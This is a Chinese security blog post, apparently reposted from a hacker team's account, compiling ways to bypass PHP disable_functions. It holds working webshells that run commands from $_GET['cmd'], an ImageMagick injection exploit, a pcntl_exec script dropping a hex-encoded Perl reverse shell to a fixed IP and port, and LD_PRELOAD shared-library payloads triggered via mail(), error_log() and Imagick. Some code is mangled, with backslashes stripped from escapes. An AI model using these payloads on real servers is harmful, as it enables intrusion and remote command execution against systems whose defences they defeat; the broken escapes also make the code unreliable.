disable_functions绕过总结

admin 2023年3月8日10:12:51评论109 views字数 7503阅读25分0秒阅读模式



disable_functions绕过总结


前言

收集归纳了下disable_functions绕过的一些方法

1、ImageMagic 组件

比较老的方法,ImageMagic是一个图形处理库,支持php、python、ruby等语言,通过这个库可以对Web图片进行裁剪、翻转等操作,但是对https文件处理时,能够利用"|的方式闭合语句,由于使用的是系统的system命令执行的,所以并不受PHP的disable_functions的影响

版本要求:

  • imagic <= 6.9.3-9

EXP:

<?phpecho "Disable Functions: " . ini_get('disable_functions') . "n";$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];if ($command == '') {    $command = 'id';}$exploit = <<<EOFpush graphic-contextviewbox 0 0 640 480fill 'url(https://example.com/image.jpg"|$command")'pop graphic-contextEOF;file_put_contents("KKKK.mvg", $exploit);$thumb = new Imagick();$thumb->readImage('KKKK.mvg');$thumb->writeImage('KKKK.png');$thumb->clear();$thumb->destroy();unlink("KKKK.mvg");unlink("KKKK.png");?>

2、Windows系统组件

若phpinfo中com_dotnet=enable,表示COM组件开启,可以直接实例化一个COM对象,并调用对象方法来执行系统命令,直接绕过了disable_functions

<?php$cmd=$_GET['cmd'];$com = new COM('WScript.shell');   $exec = $com->exec('cmd.exe /c '.$cmd); $stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput

​disable_functions绕过总结

3、Pcntl组件

pcntl是PHP在Linux下的一个扩展,pcntl_exec()作用是在当前进程空间执行指定程序,假如phpinfo中存在--enable-pcntl

要求:

  • PHP 4 >= 4.2.0,PHP 5

<?php /******************************* *查看phpinfo编译参数--enable-pcntl *作者 Spider *nc -vvlp 443********************************/
$ip = '192.168.1.164';$port = '8899';$file = '/tmp/bc.pl';
header("content-Type: text/html; charset=gb2312");
if(function_exists('pcntl_exec')) { $data = "x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx20x2dx77x0dx0ax23x0dx0a". "x0dx0ax75x73x65x20x73x74x72x69x63x74x3bx20x20x20x20x0dx0ax75x73x65x20". "x53x6fx63x6bx65x74x3bx0dx0ax75x73x65x20x49x4fx3ax3ax48x61x6ex64x6cx65". "x3bx0dx0ax0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx69x70x20x3dx20x27".$ip. "x27x3bx0dx0ax6dx79x20x24x72x65x6dx6fx74x65x5fx70x6fx72x74x20x3dx20x27".$port. "x27x3bx0dx0ax0dx0ax6dx79x20x24x70x72x6fx74x6fx20x3dx20x67x65x74x70x72". "x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x3bx0dx0ax6dx79x20x24". "x70x61x63x6bx5fx61x64x64x72x20x3dx20x73x6fx63x6bx61x64x64x72x5fx69x6e". "x28x24x72x65x6dx6fx74x65x5fx70x6fx72x74x2cx20x69x6ex65x74x5fx61x74x6f". "x6ex28x24x72x65x6dx6fx74x65x5fx69x70x29x29x3bx0dx0ax6dx79x20x24x73x68". "x65x6cx6cx20x3dx20x27x2fx62x69x6ex2fx73x68x20x2dx69x27x3bx0dx0ax73x6f". "x63x6bx65x74x28x53x4fx43x4bx2cx20x41x46x5fx49x4ex45x54x2cx20x53x4fx43". "x4bx5fx53x54x52x45x41x4dx2cx20x24x70x72x6fx74x6fx29x3bx0dx0ax53x54x44". "x4fx55x54x2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax53x4fx43". "x4bx2dx3ex61x75x74x6fx66x6cx75x73x68x28x31x29x3bx0dx0ax63x6fx6ex6ex65". "x63x74x28x53x4fx43x4bx2cx24x70x61x63x6bx5fx61x64x64x72x29x20x6fx72x20". "x64x69x65x20x22x63x61x6ex20x6ex6fx74x20x63x6fx6ex6ex65x63x74x3ax24x21". "x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x49x4ex2cx20x22x3cx26x53x4fx43x4b". "x22x3bx0dx0ax6fx70x65x6ex20x53x54x44x4fx55x54x2cx20x22x3ex26x53x4fx43". "x4bx22x3bx0dx0ax6fx70x65x6ex20x53x54x44x45x52x52x2cx20x22x3ex26x53x4f". "x43x4bx22x3bx0dx0ax73x79x73x74x65x6dx28x24x73x68x65x6cx6cx29x3bx0dx0a". "x63x6cx6fx73x65x20x53x4fx43x4bx3bx0dx0ax65x78x69x74x20x30x3bx0a"; $fp = fopen($file,'w'); $key = fputs($fp,$data); fclose($fp); if(!$key) exit('写入'.$file.'失败'); chmod($file,0777); pcntl_exec($file); unlink($file);} else { echo '不支持pcntl扩展';}?>

​disable_functions绕过总结

4、Imap_open()

imap_open()需要安装imap扩展才会包含的函数,而imap是一个管理电子邮件的扩展。

imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = array() ]]] ) : resource//实例 $imbox = imap_open("{localhost}:143/imap}INBOX""user_id""password");

通过strace查看imap_open()函数执行过程

strace -f php imap.php 2>&1 | grep execve

disable_functions绕过总结
此处的localhost作为参数之一,所以可以通过修改hostname来达到参数注入,与此同时,/usr/bin/rsh会去调用ssh,后者有个-oProxyCommand参数可以执行命令

disable_functions绕过总结
在写入服务器地址的时候,有些字符可能会被转义,所以一般使用base64编码

使用POC,并查看完整调用过程,直接去调用系统的echo命令,不受disable_functions影响,所以也就成功bypass

​disable_functions绕过总结

5、LD_PRELOAD劫持

(1)基础知识

C语言执行顺序为:

  • 编辑——(预处理) 编译 (汇编) —— 链接 —— 运行

链接:

  • 静态链接:在链接阶段,会将汇编生成的目标文件.o与引用的库一起链接打包到可执行文件中,因此为静态链接

  • 动态链接:在静态情况下,它把库直接加载到程序里,而在动态链接的时候,只是保留接口,将动态库与程序代码独立

(2)LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载

一般情况下动态库的搜索顺序:

  • 编译目标代码时指定的动态库搜索路径LD_PRELOAD

  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径

  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径

  • 默认的动态库搜索路径/lib

  • 默认的动态库搜索路径/usr/lib

可以看出,LD_PRELOAD的优先级最高,因而能够影响程序运行时的链接,允许程序运行前优先加载动态链接库。通过构造相同名称的函数来达到注入恶意代码的目的,实现劫持

(3)Demo

动态库 module.c和module.h

#include <stdio.h>
int ld(void){ printf("you are in module.n");
return 0;
#ifndef LIB_H#define LIB_H
int ld(void);
#endif

主程序 main.c

#include <stdio.h>#include "module.h"
#include <stdio.h>#include "module.h"
int main(void){ printf("------------------------n"); ld(); printf("------------------------n");}

编译过程

首先编译动态链接库libmodule.so,然后编译主程序main,指定LD_LIBRARY_PATH为当前目录,确认依赖关系,最后运行主程序main

➜  ld gcc -shared -fPIC -o libmodule.so module.c➜  ld gcc main.c -L. -lmodule -o main           ➜  ld export LD_LIBRARY_PATH=/root/tmp/ld➜  ld ./main                 ------------------------you are in module.------------------------

(4)劫持库

劫持程序 hack.c

#include <stdio.h>
int ld(void){ printf("you are hacked.n");
return 0;}

首先编译动态链接库hack.so,然后设置LD_PRELOAD为hack.so文件。由于优先级高的缘故,库中的同名函数在程序运行时会优先调用,然后运行主程序 main

➜  ld gcc hack.c -fPIC -shared -o hack.so       ➜  ld export LD_PRELOAD="./hack.so"      ➜  ld ./main------------------------you are hacked.------------------------

成功劫持了ld()函数,假如要还原函数调用关系,可以unset LD_PRELOAD解除依赖

(5)利用思路

  • 本地伪造.c文件劫持某个函数并生成一个动态链接库文件.so

  • 上传该文件至服务器

  • 利用php中putenv()设置LD_PRELOAD路径为该文件

  • 配合php中某个函数去触发构造的动态链接库文件

  • 命令执行

6、mail()

mail ( string $to , string $subject , string $message [, string $additional_headers [, string$additional_parameters ]] ) : bool

(1)通过sendmail劫持

第五个参数(可选)运行注入额外的参数给系统安装的/usr/bin/sendmail程序,mail()默认会调用系统的sendmail程序,然后找到一个合适的函数去劫持它

disable_functions绕过总结
readelf -Ws /usr/sbin/sendmail可以查看下sendmail调用的函数

这里选择一个通用的geteuid(),然后构造恶意c文件并编译为动态链接库

➜  html cat test.c                         #include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {            system("ls -al >res.txt");}
int geteuid() { if (getenv("LD_PRELOAD") == NULL) { return 0; } payload(); unsetenv("LD_PRELOAD");}
➜  html gcc test.c -fPIC -shared -o test.so

利用putenv()mail()触发恶意动态链接库

<?php
putenv("LD_PRELOAD=./test.so");mail("","","","","");

执行PHP文件即可

(2)利用__attribute__ ((__constructor__))直接对其注入恶意代码

gcc允许为函数设置__attribute__ ((__constructor__))属性,也就是将被修饰的函数作为构造函数,在main()之前执行,与此对应的还有__attribute__ ((__destructor__))属性作为析构函数

重新测试新的c文件并编译,再执行php文件

#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("echo 'Not geteuid' > res.txt");}

​disable_functions绕过总结

7、error_log()#

error_log ( string $message [, int $message_type = 0 [, string $destination [, string $extra_headers ]]] ) : bool

把错误信息发送到Web服务器的错误日志,或者到一个文件中,而且当第二个参数message_type为1时,message 发送到参数 destination 设置的邮件地址,同样会调用外部程序sendmail

disable_functions绕过总结
于是就类似mail了,可以通过劫持某个特定函数或者利用constructor属性来达到任意命令执行

​disable_functions绕过总结

8、Imagick

Imagick在处理一些特定格式的文件时,会调用外部某些程序启动子进程,就会加载LD_PRELOAD指定恶意的动态链接库,达到命令执行,而这些外部程序不是系统都自带的,有些需要安装的

9、ilbmtoppm

ilbmtoppm是将ilbm文件转换为ppm图像的程序,Ubuntu中自带了此程序。有大佬通过阅读文档发现,在处理ilbm的文件的时候会启动ilbmtoppm程序,于是本地strace下

disable_functions绕过总结
又可以配合__attribute__ ((__constructor__))利用

构造简单的 test.c

#define _GNU_SOURCE#include <stdlib.h>#include <unistd.h>#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){ unsetenv("LD_PRELOAD"); system("whoami");}

然后编译为动态链接库.so

gcc test.c -fPIC -shared -o test.so

构造触发动态链接库 ilbm.php,这里的demo.ilbm必须存在,要不然就不会调用外部的ilbmtoppm程序去Fork子进程

<?php
putenv("LD_PRELOAD=./test.so");$ilbm = new Imagick('demo.ilbm');

直接运行即可

​disable_functions绕过总结

10、ffmpeg

Imagick在处理以下文件时,程序会调用ffmpeg进行转换,然而ffmpeg需要安装才能使用。

.ai .avi .epdf .eps .epsf .epsi .m2v .m4v .mkv .mov .mp4 .mpeg .mpg .pdfa .svg .wmv

利用过程与ilbmtoppm一致

11、配合蚁剑

蚁剑有bypass的插件

disable_functions绕过总结

disable_functions绕过总结
更多可参考:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions

结语

收集归纳了一波 bypass disable_functions的方法

参考:

  • https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

  • 无需sendmail:巧用LD_PRELOAD突破disable_functions




红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。


原文始发于微信公众号(红客突击队):​disable_functions绕过总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月8日10:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   disable_functions绕过总结https://cn-sec.com/archives/1242402.html

发表评论

匿名网友 填写信息